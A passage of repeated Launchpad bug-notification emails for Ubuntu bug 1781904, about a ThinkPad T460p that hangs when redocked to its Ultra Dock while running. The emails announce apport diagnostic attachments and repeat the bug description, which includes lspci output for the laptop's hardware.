   Kernel modules: mei_me

  00:17.0 SATA controller: Intel Corporation Sunrise Point-H SATA Controller 
[AHCI mode] (rev 31) (prog-if 01 [AHCI 1.0])
   Subsystem: Lenovo Sunrise Point-H SATA Controller [AHCI mode]
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: ahci
   Kernel modules: ahci

  00:1c.0 PCI bridge: Intel Corporation Sunrise Point-H PCI Express Root Port 
#1 (rev f1) (prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   

[Kernel-packages] [Bug 1781904] UdevDb.txt

[Martin Dünkelmann]

apport information

** Attachment added: "UdevDb.txt"
   https://bugs.launchpad.net/bugs/1781904/+attachment/5164173/+files/UdevDb.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781904

Title:
  ThinkPad T460P Ultra Dock Can't dock it while running

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Linux deus-ex-machina 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13
  08:44:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

  LSB Version:  
core-9.20170808ubuntu1-noarch:printing-9.20170808ubuntu1-noarch:security-9.20170808ubuntu1-noarch
  Distributor ID:   LinuxMint
  Description:  Linux Mint 19 Tara
  Release:  19
  Codename: tara

  Ubuntu 18.04
  ThinkPad T460p

  I reject the dock and want to use the dock again.
  System hang, usb doesn't work, displays doesn't work.
  Nothing but the ethernet connection at the dock is working.

  The ThinkPad is working again, if I reject the dock.
  But to use the dock again, I need to restart the laptop.

  But I can reject the dock and plugin it again, while running the ThinkPad in 
Standby.
  Weird.

  I attached the dmesg log.

  I use the normal nvidia drivers from the repo (v390).
  Here is my lspci log (can only attach ONE file):

  00:00.0 Host bridge: Intel Corporation Skylake Host Bridge/DRAM Registers 
(rev 07)
   Subsystem: Lenovo Xeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Host 
Bridge/DRAM Registers
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: skl_uncore

  00:01.0 PCI bridge: Intel Corporation Skylake PCIe Controller (x16) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:01.2 PCI bridge: Intel Corporation Skylake PCIe Controller (x4) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:02.0 VGA compatible controller: Intel Corporation HD Graphics 530 (rev 06) 
(prog-if 00 [VGA controller])
   Subsystem: Lenovo HD Graphics 530
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: i915
   Kernel modules: i915

  00:14.0 USB controller: Intel Corporation Sunrise Point-H USB 3.0 xHCI 
Controller (rev 31) (prog-if 30 [XHCI])
   Subsystem: Lenovo Sunrise Point-H USB 3.0 xHCI Controller
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: xhci_hcd

  00:14.2 Signal processing controller: Intel Corporation Sunrise Point-H 
Thermal subsystem (rev 31)
   Subsystem: Lenovo Sunrise Point-H Thermal subsystem
   Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: intel_pch_thermal
   Kernel modules: intel_pch_thermal

  00:16.0 Communication controller: Intel Corporation Sunrise Point-H CSME HECI 
#1 (rev 31)
   Subsystem: Lenovo Sunrise Point-H CSME HECI
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: mei_me
   Kernel modules: mei_me

  00:17.0 SATA controller: Intel Corporation Sunrise Point-H SATA Controller 
[AHCI mode] (rev 31) (prog-if 01 [AHCI 1.0])
   Subsystem: Lenovo Sunrise Point-H SATA Controller [AHCI mode]
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: ahci
   Kernel modules: ahci

  00:1c.0 PCI bridge: Intel Corporation Sunrise Point-H PCI Express Root Port 
#1 (rev f1) (prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   

[Kernel-packages] [Bug 1781904] ProcInterrupts.txt

[Martin Dünkelmann]

apport information

** Attachment added: "ProcInterrupts.txt"
   
https://bugs.launchpad.net/bugs/1781904/+attachment/5164170/+files/ProcInterrupts.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781904

Title:
  ThinkPad T460P Ultra Dock Can't dock it while running

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Linux deus-ex-machina 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13
  08:44:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

  LSB Version:  
core-9.20170808ubuntu1-noarch:printing-9.20170808ubuntu1-noarch:security-9.20170808ubuntu1-noarch
  Distributor ID:   LinuxMint
  Description:  Linux Mint 19 Tara
  Release:  19
  Codename: tara

  Ubuntu 18.04
  ThinkPad T460p

  I reject the dock and want to use the dock again.
  System hang, usb doesn't work, displays doesn't work.
  Nothing but the ethernet connection at the dock is working.

  The ThinkPad is working again, if I reject the dock.
  But to use the dock again, I need to restart the laptop.

  But I can reject the dock and plugin it again, while running the ThinkPad in 
Standby.
  Weird.

  I attached the dmesg log.

  I use the normal nvidia drivers from the repo (v390).
  Here is my lspci log (can only attach ONE file):

  00:00.0 Host bridge: Intel Corporation Skylake Host Bridge/DRAM Registers 
(rev 07)
   Subsystem: Lenovo Xeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Host 
Bridge/DRAM Registers
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: skl_uncore

  00:01.0 PCI bridge: Intel Corporation Skylake PCIe Controller (x16) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:01.2 PCI bridge: Intel Corporation Skylake PCIe Controller (x4) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:02.0 VGA compatible controller: Intel Corporation HD Graphics 530 (rev 06) 
(prog-if 00 [VGA controller])
   Subsystem: Lenovo HD Graphics 530
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: i915
   Kernel modules: i915

  00:14.0 USB controller: Intel Corporation Sunrise Point-H USB 3.0 xHCI 
Controller (rev 31) (prog-if 30 [XHCI])
   Subsystem: Lenovo Sunrise Point-H USB 3.0 xHCI Controller
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: xhci_hcd

  00:14.2 Signal processing controller: Intel Corporation Sunrise Point-H 
Thermal subsystem (rev 31)
   Subsystem: Lenovo Sunrise Point-H Thermal subsystem
   Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: intel_pch_thermal
   Kernel modules: intel_pch_thermal

  00:16.0 Communication controller: Intel Corporation Sunrise Point-H CSME HECI 
#1 (rev 31)
   Subsystem: Lenovo Sunrise Point-H CSME HECI
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: mei_me
   Kernel modules: mei_me

  00:17.0 SATA controller: Intel Corporation Sunrise Point-H SATA Controller 
[AHCI mode] (rev 31) (prog-if 01 [AHCI 1.0])
   Subsystem: Lenovo Sunrise Point-H SATA Controller [AHCI mode]
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: ahci
   Kernel modules: ahci

  00:1c.0 PCI bridge: Intel Corporation Sunrise Point-H PCI Express Root Port 
#1 (rev f1) (prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- 

[Kernel-packages] [Bug 1781904] ProcModules.txt

[Martin Dünkelmann]

apport information

** Attachment added: "ProcModules.txt"
   
https://bugs.launchpad.net/bugs/1781904/+attachment/5164171/+files/ProcModules.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781904

Title:
  ThinkPad T460P Ultra Dock Can't dock it while running

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Linux deus-ex-machina 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13
  08:44:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

  LSB Version:  
core-9.20170808ubuntu1-noarch:printing-9.20170808ubuntu1-noarch:security-9.20170808ubuntu1-noarch
  Distributor ID:   LinuxMint
  Description:  Linux Mint 19 Tara
  Release:  19
  Codename: tara

  Ubuntu 18.04
  ThinkPad T460p

  I reject the dock and want to use the dock again.
  System hang, usb doesn't work, displays doesn't work.
  Nothing but the ethernet connection at the dock is working.

  The ThinkPad is working again, if I reject the dock.
  But to use the dock again, I need to restart the laptop.

  But I can reject the dock and plugin it again, while running the ThinkPad in 
Standby.
  Weird.

  I attached the dmesg log.

  I use the normal nvidia drivers from the repo (v390).
  Here is my lspci log (can only attach ONE file):

  00:00.0 Host bridge: Intel Corporation Skylake Host Bridge/DRAM Registers 
(rev 07)
   Subsystem: Lenovo Xeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Host 
Bridge/DRAM Registers
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: skl_uncore

  00:01.0 PCI bridge: Intel Corporation Skylake PCIe Controller (x16) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:01.2 PCI bridge: Intel Corporation Skylake PCIe Controller (x4) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:02.0 VGA compatible controller: Intel Corporation HD Graphics 530 (rev 06) 
(prog-if 00 [VGA controller])
   Subsystem: Lenovo HD Graphics 530
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: i915
   Kernel modules: i915

  00:14.0 USB controller: Intel Corporation Sunrise Point-H USB 3.0 xHCI 
Controller (rev 31) (prog-if 30 [XHCI])
   Subsystem: Lenovo Sunrise Point-H USB 3.0 xHCI Controller
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: xhci_hcd

  00:14.2 Signal processing controller: Intel Corporation Sunrise Point-H 
Thermal subsystem (rev 31)
   Subsystem: Lenovo Sunrise Point-H Thermal subsystem
   Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: intel_pch_thermal
   Kernel modules: intel_pch_thermal

  00:16.0 Communication controller: Intel Corporation Sunrise Point-H CSME HECI 
#1 (rev 31)
   Subsystem: Lenovo Sunrise Point-H CSME HECI
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: mei_me
   Kernel modules: mei_me

  00:17.0 SATA controller: Intel Corporation Sunrise Point-H SATA Controller 
[AHCI mode] (rev 31) (prog-if 01 [AHCI 1.0])
   Subsystem: Lenovo Sunrise Point-H SATA Controller [AHCI mode]
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: ahci
   Kernel modules: ahci

  00:1c.0 PCI bridge: Intel Corporation Sunrise Point-H PCI Express Root Port 
#1 (rev f1) (prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- 

[Kernel-packages] [Bug 1781904] IwConfig.txt

[Martin Dünkelmann]

apport information

** Attachment added: "IwConfig.txt"
   
https://bugs.launchpad.net/bugs/1781904/+attachment/5164166/+files/IwConfig.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781904

Title:
  ThinkPad T460P Ultra Dock Can't dock it while running

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Linux deus-ex-machina 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13
  08:44:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

  LSB Version:  
core-9.20170808ubuntu1-noarch:printing-9.20170808ubuntu1-noarch:security-9.20170808ubuntu1-noarch
  Distributor ID:   LinuxMint
  Description:  Linux Mint 19 Tara
  Release:  19
  Codename: tara

  Ubuntu 18.04
  ThinkPad T460p

  I reject the dock and want to use the dock again.
  System hang, usb doesn't work, displays doesn't work.
  Nothing but the ethernet connection at the dock is working.

  The ThinkPad is working again, if I reject the dock.
  But to use the dock again, I need to restart the laptop.

  But I can reject the dock and plugin it again, while running the ThinkPad in 
Standby.
  Weird.

  I attached the dmesg log.

  I use the normal nvidia drivers from the repo (v390).
  Here is my lspci log (can only attach ONE file):

  00:00.0 Host bridge: Intel Corporation Skylake Host Bridge/DRAM Registers 
(rev 07)
   Subsystem: Lenovo Xeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Host 
Bridge/DRAM Registers
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: skl_uncore

  00:01.0 PCI bridge: Intel Corporation Skylake PCIe Controller (x16) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:01.2 PCI bridge: Intel Corporation Skylake PCIe Controller (x4) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:02.0 VGA compatible controller: Intel Corporation HD Graphics 530 (rev 06) 
(prog-if 00 [VGA controller])
   Subsystem: Lenovo HD Graphics 530
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: i915
   Kernel modules: i915

  00:14.0 USB controller: Intel Corporation Sunrise Point-H USB 3.0 xHCI 
Controller (rev 31) (prog-if 30 [XHCI])
   Subsystem: Lenovo Sunrise Point-H USB 3.0 xHCI Controller
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: xhci_hcd

  00:14.2 Signal processing controller: Intel Corporation Sunrise Point-H 
Thermal subsystem (rev 31)
   Subsystem: Lenovo Sunrise Point-H Thermal subsystem
   Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: intel_pch_thermal
   Kernel modules: intel_pch_thermal

  00:16.0 Communication controller: Intel Corporation Sunrise Point-H CSME HECI 
#1 (rev 31)
   Subsystem: Lenovo Sunrise Point-H CSME HECI
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: mei_me
   Kernel modules: mei_me

  00:17.0 SATA controller: Intel Corporation Sunrise Point-H SATA Controller 
[AHCI mode] (rev 31) (prog-if 01 [AHCI 1.0])
   Subsystem: Lenovo Sunrise Point-H SATA Controller [AHCI mode]
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: ahci
   Kernel modules: ahci

  00:1c.0 PCI bridge: Intel Corporation Sunrise Point-H PCI Express Root Port 
#1 (rev f1) (prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
  

[Kernel-packages] [Bug 1781904] CurrentDmesg.txt

[Martin Dünkelmann]

apport information

** Attachment added: "CurrentDmesg.txt"
   
https://bugs.launchpad.net/bugs/1781904/+attachment/5164165/+files/CurrentDmesg.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781904

Title:
  ThinkPad T460P Ultra Dock Can't dock it while running

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Linux deus-ex-machina 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13
  08:44:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

  LSB Version:  
core-9.20170808ubuntu1-noarch:printing-9.20170808ubuntu1-noarch:security-9.20170808ubuntu1-noarch
  Distributor ID:   LinuxMint
  Description:  Linux Mint 19 Tara
  Release:  19
  Codename: tara

  Ubuntu 18.04
  ThinkPad T460p

  I reject the dock and want to use the dock again.
  System hang, usb doesn't work, displays doesn't work.
  Nothing but the ethernet connection at the dock is working.

  The ThinkPad is working again, if I reject the dock.
  But to use the dock again, I need to restart the laptop.

  But I can reject the dock and plugin it again, while running the ThinkPad in 
Standby.
  Weird.

  I attached the dmesg log.

  I use the normal nvidia drivers from the repo (v390).
  Here is my lspci log (can only attach ONE file):

  00:00.0 Host bridge: Intel Corporation Skylake Host Bridge/DRAM Registers 
(rev 07)
   Subsystem: Lenovo Xeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Host 
Bridge/DRAM Registers
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: skl_uncore

  00:01.0 PCI bridge: Intel Corporation Skylake PCIe Controller (x16) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:01.2 PCI bridge: Intel Corporation Skylake PCIe Controller (x4) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:02.0 VGA compatible controller: Intel Corporation HD Graphics 530 (rev 06) 
(prog-if 00 [VGA controller])
   Subsystem: Lenovo HD Graphics 530
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: i915
   Kernel modules: i915

  00:14.0 USB controller: Intel Corporation Sunrise Point-H USB 3.0 xHCI 
Controller (rev 31) (prog-if 30 [XHCI])
   Subsystem: Lenovo Sunrise Point-H USB 3.0 xHCI Controller
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: xhci_hcd

  00:14.2 Signal processing controller: Intel Corporation Sunrise Point-H 
Thermal subsystem (rev 31)
   Subsystem: Lenovo Sunrise Point-H Thermal subsystem
   Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: intel_pch_thermal
   Kernel modules: intel_pch_thermal

  00:16.0 Communication controller: Intel Corporation Sunrise Point-H CSME HECI 
#1 (rev 31)
   Subsystem: Lenovo Sunrise Point-H CSME HECI
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: mei_me
   Kernel modules: mei_me

  00:17.0 SATA controller: Intel Corporation Sunrise Point-H SATA Controller 
[AHCI mode] (rev 31) (prog-if 01 [AHCI 1.0])
   Subsystem: Lenovo Sunrise Point-H SATA Controller [AHCI mode]
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: ahci
   Kernel modules: ahci

  00:1c.0 PCI bridge: Intel Corporation Sunrise Point-H PCI Express Root Port 
#1 (rev f1) (prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- 

[Kernel-packages] [Bug 1781904] Lspci.txt

[Martin Dünkelmann]

apport information

** Attachment added: "Lspci.txt"
   https://bugs.launchpad.net/bugs/1781904/+attachment/5164167/+files/Lspci.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781904

Title:
  ThinkPad T460P Ultra Dock Can't dock it while running

Status in linux package in Ubuntu:
  Confirmed

Bug description:
